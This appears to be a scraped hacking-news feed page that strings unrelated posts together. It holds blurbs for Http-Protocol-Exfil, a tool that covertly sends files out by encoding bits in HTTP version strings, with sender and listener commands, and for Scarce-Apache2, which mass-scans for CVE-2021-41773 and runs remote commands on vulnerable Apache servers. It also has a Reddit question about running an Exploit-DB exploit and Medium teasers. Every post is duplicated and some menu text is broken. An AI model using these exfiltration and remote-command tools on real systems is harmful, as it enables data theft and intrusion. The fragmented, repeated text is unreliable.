Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Http-Protocol-Exfil : Exfiltrate Files Using The HTTP Protocol Version (“HTTP/1.0” Is A 0 And “HTTP/1.1” Is A 1)
Http-Protocol-Exfil uses HTTP protocol version to send a file bit by bit (“HTTP/1.0” is a 0 and “HTTP/1.1” is a 1). It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).
Create Listener
To run the listener use listener.py with one optional argument: the port it will be listening in.
python3 listener.py [PORT]
Example:
python3 listener.py 8080
Send a file
To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Example:
python3 sender.py -u “http://127.0.0.1:8080” -i test.txt -o updated_test.txt
Example
First the file is sent:
https://blogger.googleusercontent.com/img/a/AVvXsEixQyKDZW7fjignSHiObL48pH-V1Ck71xiUGl5uENUN1rrrJmR0O-uA_VnlHDPpsdaQbN3a-XVlBNfjPvuQdIxsKypx9fbdm_JBB5AmADWs6HPVEcCvdIjKU9CS8oOTQstFCm8AI_H1p9e7qtm7oBOOvWJ_e7bLQWW6i5wa0fWgXR6psTlu-lT9fNlQ=s765
If the variable debug is set to True (it is by default) you can see the binary values in the listener log messages:
https://blogger.googleusercontent.com/img/a/AVvXsEiPUMjXB76aWNjWrYrM0aDnA0R84OEYFpWCr-CLW74xyRKoRBWhtEnxRLUqdenj3OrG0JFdGe84t5_WN_vCk33d5Mq8xvu2JM_mBRUz-jl6JebZOnwtUTe9tpdqz4FvNeEPwlRVhpVy0J3VYbOg_SbeUrZuCjqprwC3S4OA3-7KcNRLJDw4fw5HN2Rs=s687
The new file is created with the content of the input file:
https://blogger.googleusercontent.com/img/a/AVvXsEghRvcBcEbB26zuXPOcCiyFgUnG0_AsUchYrZctUpFCxxx4AzCZbj8HY-NSC01c_rcTZ3fkUsaub-r-jSs2NlDbwJ2z9TFoyurNd3wzXS5EjJMojQ7Gws3CrZewV0okjUIFHngl-O-roiKIXX_LRy1tiJsL29gbWxl3aDJmsoyUi5KJIEmPPT8I_W4q=s506
Download
Http-Protocol-Exfil : Exfiltrate Files Using The HTTP Protocol Version (“HTTP/1.0” Is A 0 And “HTTP/1.1” Is A 1)
Http-Protocol-Exfil uses HTTP protocol version to send a file bit by bit (“HTTP/1.0” is a 0 and “HTTP/1.1” is a 1). It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).
Create Listener
To run the listener use listener.py with one optional argument: the port it will be listening in.
python3 listener.py [PORT]
Example:
python3 listener.py 8080
Send a file
To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Example:
python3 sender.py -u “http://127.0.0.1:8080” -i test.txt -o updated_test.txt
Example
First the file is sent:
https://blogger.googleusercontent.com/img/a/AVvXsEixQyKDZW7fjignSHiObL48pH-V1Ck71xiUGl5uENUN1rrrJmR0O-uA_VnlHDPpsdaQbN3a-XVlBNfjPvuQdIxsKypx9fbdm_JBB5AmADWs6HPVEcCvdIjKU9CS8oOTQstFCm8AI_H1p9e7qtm7oBOOvWJ_e7bLQWW6i5wa0fWgXR6psTlu-lT9fNlQ=s765
If the variable debug is set to True (it is by default) you can see the binary values in the listener log messages:
https://blogger.googleusercontent.com/img/a/AVvXsEiPUMjXB76aWNjWrYrM0aDnA0R84OEYFpWCr-CLW74xyRKoRBWhtEnxRLUqdenj3OrG0JFdGe84t5_WN_vCk33d5Mq8xvu2JM_mBRUz-jl6JebZOnwtUTe9tpdqz4FvNeEPwlRVhpVy0J3VYbOg_SbeUrZuCjqprwC3S4OA3-7KcNRLJDw4fw5HN2Rs=s687
The new file is created with the content of the input file:
https://blogger.googleusercontent.com/img/a/AVvXsEghRvcBcEbB26zuXPOcCiyFgUnG0_AsUchYrZctUpFCxxx4AzCZbj8HY-NSC01c_rcTZ3fkUsaub-r-jSs2NlDbwJ2z9TFoyurNd3wzXS5EjJMojQ7Gws3CrZewV0okjUIFHngl-O-roiKIXX_LRy1tiJsL29gbWxl3aDJmsoyUi5KJIEmPPT8I_W4q=s506
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Scarce-Apache2 : A Framework For Bug Hunting Or Pentesting Targeting Websites That Have CVE-2021-41773 Vulnerability In Public
Scarce-Apache2 tool can scan websites with CVE-2021-41773 Vulnerability that are affecting Apache2 Webserver, ScaRCE can run too for executing Remote Command Injections at the webservers that found from the scanning method (Only if the MOD_CGI is Enabled at the targeted webserver). This tool works with the provided Single target or Mass Target from a file list. Only use this tool for
https://blogger.googleusercontent.com/img/a/AVvXsEiVpUDzPSlTP-lGEwpCg_eSMOtpbvl8gYsInzpUXCIFtxwbUL6ZNCyQiMrP_nqeEEI2OVWuGKmtcpcsFstO4t9coDe2vD2oA0OhwxJl_MHpwZF2Q2LLipkYRHpEPrefylh6XlRdLz5svP9aUcak-cAUq7n5PM4AmNPUCkn6RhjOtFMYlse7eiDTU1DT=s643
Installation
* git clone https://github.com/HightechSec/scarce-apache2
* cd scarce-apache2
* bash scarce.sh
*
or you can install in your system like this
* git clone https://github.com/HightechSec/scarce-apache2
* cd scarce-apache2
* sudo cp scarce.sh /usr/bin/scarce && sudo chmod +x /usr/bin/scarce
* $ scarce
Usage
* Menu’s
* Menu
* Menu
* Menu
* URL Format
* Use
* For Url or IP that has been provided from a
* https://target.com
* http://hackerone.com
* https://bugcrowd.com
Requirements
* curl
* bash
* git
Download
Scarce-Apache2 : A Framework For Bug Hunting Or Pentesting Targeting Websites That Have CVE-2021-41773 Vulnerability In Public
Scarce-Apache2 tool can scan websites with CVE-2021-41773 Vulnerability that are affecting Apache2 Webserver, ScaRCE can run too for executing Remote Command Injections at the webservers that found from the scanning method (Only if the MOD_CGI is Enabled at the targeted webserver). This tool works with the provided Single target or Mass Target from a file list. Only use this tool for
Bug Hunting/ Pentesting Purposes.https://blogger.googleusercontent.com/img/a/AVvXsEiVpUDzPSlTP-lGEwpCg_eSMOtpbvl8gYsInzpUXCIFtxwbUL6ZNCyQiMrP_nqeEEI2OVWuGKmtcpcsFstO4t9coDe2vD2oA0OhwxJl_MHpwZF2Q2LLipkYRHpEPrefylh6XlRdLz5svP9aUcak-cAUq7n5PM4AmNPUCkn6RhjOtFMYlse7eiDTU1DT=s643
Installation
* git clone https://github.com/HightechSec/scarce-apache2
* cd scarce-apache2
* bash scarce.sh
*
or you can install in your system like this
* git clone https://github.com/HightechSec/scarce-apache2
* cd scarce-apache2
* sudo cp scarce.sh /usr/bin/scarce && sudo chmod +x /usr/bin/scarce
* $ scarce
Usage
* Menu’s
* Menu
1is for scanning LFI Vulnerability from a provided file that contains the list of the target urlor a provided single target url.* Menu
2is for scanning RCE Vulnerability from a provided file that contains the list of the target urlor a provided single target url.* Menu
3is for Executing RCE from a provided single target url. This will work for the Maybe VulnResults or sometimes with a 500 Error Response.* URL Format
* Use
http://like http://example.comor https://like https://example.comfor the url formatting at Single Target usages* For Url or IP that has been provided from a
List, Don’t Use the URL Formatting like eg:* https://target.com
* http://hackerone.com
* https://bugcrowd.com
Requirements
* curl
* bash
* git
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
How to locate and run exploitDB files with metasploit?
Hey i've recently downloaded this https://www.exploit-db.com/exploits/12690 to test on a site that i think is vulnerable to it.
However, i can't use it when i try to execute the "use /PATH/"ExploitDBFile"" Command, it will say it couldn't find it, am i doing something wrong?
To clarify, i've got permission to test on this site.
submitted by /u/HackerArgento
[link] [comments]
How to locate and run exploitDB files with metasploit?
Hey i've recently downloaded this https://www.exploit-db.com/exploits/12690 to test on a site that i think is vulnerable to it.
However, i can't use it when i try to execute the "use /PATH/"ExploitDBFile"" Command, it will say it couldn't find it, am i doing something wrong?
To clarify, i've got permission to test on this site.
submitted by /u/HackerArgento
[link] [comments]
HUMAN community newsletter #3
https://medium.com/human-protocol/human-community-newsletter-3-8b79600e3f9b?source=rss------bug_bounty-5
https://medium.com/human-protocol/human-community-newsletter-3-8b79600e3f9b?source=rss------bug_bounty-5
HighlightsContinue reading on HUMAN Protocol » (https://medium.com/human-protocol/human-community-newsletter-3-8b79600e3f9b?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
What is Kali Linux: Everything You Need To Know | All About Technology
https://cdn-images-1.medium.com/max/2000/0*8pKEtOFc7rGYvE9Q.jpeg
Kali Linux is a Debian-based free and open-source Linux distribution designed for system auditing, penetration testing, forensic…
Continue reading on Medium »
What is Kali Linux: Everything You Need To Know | All About Technology
https://cdn-images-1.medium.com/max/2000/0*8pKEtOFc7rGYvE9Q.jpeg
Kali Linux is a Debian-based free and open-source Linux distribution designed for system auditing, penetration testing, forensic…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
VICIdial 2.14 Multiple Vulnerabilities
https://cdn-images-1.medium.com/max/2600/1*SVAWZ4BZ9pMxQZSYO3HMtw.png
So I was watching one of my favorite Youtube channels the other day when one screen caught my attention. It was a campaign summary page of…
Continue reading on Medium »
VICIdial 2.14 Multiple Vulnerabilities
https://cdn-images-1.medium.com/max/2600/1*SVAWZ4BZ9pMxQZSYO3HMtw.png
So I was watching one of my favorite Youtube channels the other day when one screen caught my attention. It was a campaign summary page of…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Uppsala Security helps enable another victim of crypto crime catch the bad actor and recover the…
https://cdn-images-1.medium.com/max/1200/1*dYXWudRClEgRoxC7itOopQ.png
Singapore, 18th November 2021 — Uppsala Security, a state-of-the-art provider of award-winning security tools and services for Crypto…
Continue reading on Sentinel Protocol »
Uppsala Security helps enable another victim of crypto crime catch the bad actor and recover the…
https://cdn-images-1.medium.com/max/1200/1*dYXWudRClEgRoxC7itOopQ.png
Singapore, 18th November 2021 — Uppsala Security, a state-of-the-art provider of award-winning security tools and services for Crypto…
Continue reading on Sentinel Protocol »